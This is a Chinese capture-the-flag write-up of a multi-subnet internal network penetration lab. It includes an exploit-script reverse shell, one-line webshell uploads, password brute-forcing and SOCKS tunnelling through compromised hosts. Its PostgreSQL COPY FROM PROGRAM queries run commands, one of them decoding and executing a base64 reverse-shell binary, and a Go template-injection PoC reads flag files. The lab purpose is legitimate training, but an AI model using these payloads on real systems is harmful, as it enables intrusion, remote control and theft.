内网渗透2-多网段攻击

内网渗透2-多网段攻击

ip:10.3.4.97

一、信息收集

flag1

1、先用fscan扫描靶机ip,发现靶机开发22、80,8080,8338端口

端口扫描结果

2、用dirsearch对开发靶机进行目录探测

目录探测结果

发现http://10.3.4.97/flag, 访问拿到第一个flag

获取flag1

1
flag1{ecbad114509698f68441e45a12baae3e}

与此同时,探测到三个重要的页面,他们分别是

http://10.3.4.97/admin/ webutler系统

webutler系统

http://10.3.4.97:8080/?m=login信呼系统

信呼系统

http://10.3.4.97:8338/ maktrail系统

maktrail系统

二、外围打点

flag4

1、现成poc打maktrail系统

①我们先打maktrail系统,利用网上已有的poc夺取反弹shell,其中192.168.192.26为攻击机ip

1
./exploit.sh -t http://10.3.4.128:8338/ -i 192.168.192.26

执行poc脚本

②监听本机4444端口,我们拿到反弹shell

1
nc -lvvp 4444

获取反弹shell

③拿shell后在根目录下夺取flag

1
flag4{cfb82c9b5e325f52eba1beb8a4eb3088}

获取flag4

flag3

2、利用文件上传打信呼系统

①burpsuite开启代理,在后台任一文件上传一句话木马时抓取数据包

抓取上传数据包

②我们发包到重放器进行发送观察页面回显

分析响应数据

我们发现两个关键信息:

1
2
"filepath":"upload\/2025-06\/29_02184430.uptemp"
"id":14

③访问拼接好的url路径,发现是一串字符编码

1
http://10.3.4.97:8080/upload/2025-06/29_02184430.uptemp

访问上传文件

④根据”id”:14,我们先访问

1
http://10.3.4.97:8080/task.php?m=qcloudCos|runt&a=run&fileid=14

再将上一步url的uptemp改为php,成功访问到我们上传的文件

访问PHP文件

⑤最后我们利用蚁剑连接,夺取webshell

获取webshell

拿到flag3

1
flag3{37892981a75e4bfcee6343a7d8b4188d}
flag2

3、最后我们利用弱密码爆破和文件上传打webutler

①在登录入口我们可以利用burpsuite进行弱密码爆破

我们先设置载荷,并且加载playload

设置爆破载荷

②成功爆出账号密码

1
admin:admin         password:Aa123456

成功爆破密码

③我们利用爆出的账号密码登录,并在管理系统中找到文件上传执行处,我们上传一句话木马

上传一句话木马

④利用蚁剑连接一句话木马,实现漏洞利用,成功找到flag

获取flag2

1
flag2{e7c3493d2afce1a12b455fa43f3772ed}

三、横向移动及内网穿透

flag5

1、在前面的三台服务器中我们选信呼作为跳板机,先将fscan和代理工具agent通过蚁剑上传到服务器

上传工具

2、在蚁剑终端我们发现一个配置文件,里面数据库配置信息及其所在内网的ip信息

查看配置文件

里面包含了数据库名和密码,以及关键的数据库地址10.1.1.22

3、随后我们可以利用上传的fscan对数据库地址所在的网段进行扫描,得到内网网段信息

先对fscan赋予可执行权限,再执行扫描命令

1
nohup ./fscan -h 10.1.1.0/24 -np -nopoc -nobr

扫描结果如下

扫描内网网段

我们发现了mysql服务和postgres服务

1
2
mysql:10.1.1.22:3306 open
postgres:10.1.1.44:5432 open

4、随即我们开始进行内网穿透,首先是通过上传到服务器的agent配置服务端代理,执行命令

1
nohup ./agent_linux_x64 -rhost 192.168.207.115 -rport 10081

配置服务端代理

192.168.207.115是攻击ip,10081是转发端口。

5、紧接着,我们通过admin.exe在本机配置客户端

1
admin.exe -lport 10081

配置客户端

发现客户端服务端成功连接了

6、为了在本机访问内网的相关服务,我们还需要proxifiler配置socks5代理

先是配置代理服务,将信息转发到本机1080端口

配置代理服务

再配置代理的规则,将10.1.1.0/24网段的所有服务流量转发到本机

配置代理规则

最后我们在本地开启一个监听端口 1080 的 SOCKS5 代理,这个代理会把所有流量通过 node 1 这个被控主机转发出去。

开启SOCKS5代理

到这里整个内网穿透搭建完毕

7、我们通过图形化工具dbeaver远程连接mysql服务,通过前面拿到的mysql配置信息进行连接

连接MySQL服务

成功在mysql服务中找到flag5

获取flag5

1
flag5{ba202a17b7c78a10fdcea15db19aa47f}
flag6

8、我们通过图形化工具dbeaver远程连接postgres服务,通过前面拿到的postgres配置信息进行连接

连接PostgreSQL服务

要对数据库查询进行设置显示所有隐藏的数据库信息,以下是更改配置

更改数据库配置

随后我们在postgres服务成功找到flag6

获取flag6

1
flag6{131e7a46b27f6bc83bef9ac95e37c2eb}
flag7

9、我们利用sql语句执行找到flag7

1
2
3
4
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'cat /flag';
SELECT * FROM cmd_exec;

执行SQL语句

四、扩大攻击面

flag8

1、我们想要夺取postrges的webshell,首先需要构造poc防止绕过,首先生成base64编码的恶意代码

生成base64编码

2、以下是我们通过sql语句构造的poc代码

1
2
3
4
5
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgAiucCozwdRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==
||base64 -d > postgre.sql&&chmod +x postgre.sql&&./postgre.sql';
SELECT * FROM cmd_exec;

随后我们在访问的数据库中执行恶意sql语句

执行恶意SQL

3、我们通过msf监听获得反弹shell

获得反弹shell

4、随后我们继续横向移动,通过msf上传fscan和agent代理工具

上传工具

5、我们利用msf对网段10.3.3.0\24进行扫描得到以下信息

扫描网段

6、接下来我们开始配置代理,得到node1、2,对应socks5 1080、1081

配置代理

7、为了在Windows上访问到目的ip和端口服务,我们还需配置proxifier代理,设置虚拟机ip和1081端口

设置Proxifier代理1

设置Proxifier代理2

最终成功访问10.3.3.0/24网段的服务器

成功访问服务器

9、通过目录探测我们发现一处文件上传处并获取了www.zip解压后得到main.go

目录探测结果

获取main.go

对源码进行分析,发现存在**exec.Command()**命令执行

10、由此我们可以实现模板注入,构造以下poc实现查询flag

1
2
3
4
5
6
7
8
9
10
11
{{ define "layout" }}
<!DOCTYPE html>
<html>
<head>
<title>My Web Page</title>
</head>
<body>
{{ "cat /flag" | result }}
</body>
</html>
{{end}}

11、将改写后的html上传实现查询flag

查询flag8

1
flag8{b2550207c96735d0750be3bbd00cfc4c}
flag9

1、访问10.3.3.110,通过搜索引擎查询发现该页面存在目录穿越

目录穿越漏洞

2、我们用hackbar构造poc实现目录穿越最终成功拿到flag9

构造目录穿越POC

获取flag9

1
flag9{44cf2f30b206e72e6e397bd221d26469}
flag10

1、根据靶机开放在22端口这个信息我们实现ssh远程登录

SSH远程登录

其中密码就是数据库中查询到的Aa123456

2、采用命令行cat /flag拿到flag

获取flag10

1
flag10{f5ccc6e87da77fbc0530a674ab627bb8}
flag11

我们通过执行10.3.3.120用户目录下的ipsec_connect即可拿到flag11

获取flag11

1
flag11{526c7fe7632c1aced8f844f6f498c63a}